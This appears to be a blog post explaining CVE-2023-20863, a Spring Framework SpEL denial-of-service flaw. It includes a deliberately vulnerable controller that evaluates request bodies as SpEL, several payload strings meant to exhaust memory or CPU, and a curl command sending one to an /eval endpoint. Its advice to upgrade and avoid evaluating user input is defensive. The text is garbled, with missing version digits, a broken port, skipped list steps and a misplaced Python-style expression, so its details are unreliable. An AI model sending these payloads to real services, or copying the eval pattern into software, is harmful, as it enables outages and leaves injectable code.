Spring Framework is everywhere in the Java world, powering millions of web applications, APIs, and enterprise systems. Sometimes, though, even trusted frameworks like Spring develop critical vulnerabilities—which is just what happened with CVE-2023-20863. This post details how an attacker can use a specially-crafted Spring Expression Language (SpEL) string to crash your application with a denial-of-service (DoS) attack, complete with code snippets, reference links, and an easy-to-understand walkthrough.

What is CVE-2023-20863?

Disclosed in April 2023, CVE-2023-20863 is a serious vulnerability in Spring Framework versions:

from 6.. before 6..8

The gist: *If your code lets users supply SpEL expressions (either directly or indirectly), an attacker can create an expression that causes your app to hang, freeze, or crash*.

The root cause: Spring’s SpEL processing could get stuck doing deeply nested or recursive evaluation, which ties up CPU and memory, leading to a DoS condition.

References

- Spring Framework CVE-2023-20863 Advisory
- NVD CVE Detail
- Spring GHSA

Impact: Why Should I Care?

If you take any sort of input from users that gets passed into SpEL (Spring Expression Language), such as:

Internal admin panels or dashboards using SpEL for scripting

...you could be affected and open to remote Denial-of-Service attacks.

The Attack: How Is It Exploited? (With Code Demo)

Let’s walk through a simple, vulnerable Spring Boot setup to see how an attacker could pull off this DoS.

Suppose you have code like this

@RestController
public class EvalController {
    @PostMapping("/eval")
    public String evalExpression(@RequestBody String expr) {
        ExpressionParser parser = new SpelExpressionParser();
        Expression e = parser.parseExpression(expr);
        return e.getValue().toString();
    }
}

This looks safe—but if a user sends a maliciously crafted SpEL expression, your app is toast.

An attacker can supply an *extremely* deeply nested or recursive expression such as

"T".repeat(100000)

Or even more abusively

# Here is a classic costly expression (factorial)
"".join({'a' * 10000000})

But in SpEL, attackers would likely craft an expression that triggers *excessive computation*—for example, chained method calls or recursive property resolution.

A dangerous SpEL for DoS could look like this

new String(new char[10000000])

Test this with a simple curl command

curl -X POST -d 'new String(new char[10000000])' http://localhost:808/eval

This tries to allocate a giant array, consuming tons of memory and likely killing your JVM. With enough requests, your server becomes unresponsive.

Exploit Details (Step-by-Step)

1. Attacker finds input evaluated as SpEL (e.g., /eval endpoint).

Spring tries to resolve the expression, burning CPU and heap.

4. JVM runs out of heap/memory, garbage collector maxes out, and process is killed—or it panics and restarts.

Real-World Scenarios

- API that uses SpEL for filtering/sorting: /search?filter=<SpEL here>

Dashboard with user-defined computed fields: Accepts formulas from users processed as SpEL.

- Anything processing user input as an expression: Especially if expressions can be constructed from request parameters, headers, or form input.

If using 6..x: upgrade to 6..8+

*(See official release notes for details.)*

Never evaluate or compile user input as SpEL (or any code!) unless absolutely necessary.

- If you must use SpEL, validate and restrict expressions—limit what classes, methods, or operators can be called.

Conclusion

CVE-2023-20863 shows why evaluating user input as code—even in a high-level language like SpEL—is a risky business. One bad payload can knock out your service. Take the time to check your code, upgrade your Spring version, and review anywhere you use SpEL.

- Spring's Official Advisory
- GitHub Advisory

Stay Secure!

If you found this helpful, please share with your team. Don’t get taken down by a simple SpEL bug!


Remember: Always be skeptical of evaluating user input as code—no matter how much you trust your framework.

Timeline

Published on: 04/13/2023 20:15:00 UTC
Last modified on: 04/21/2023 17:54:00 UTC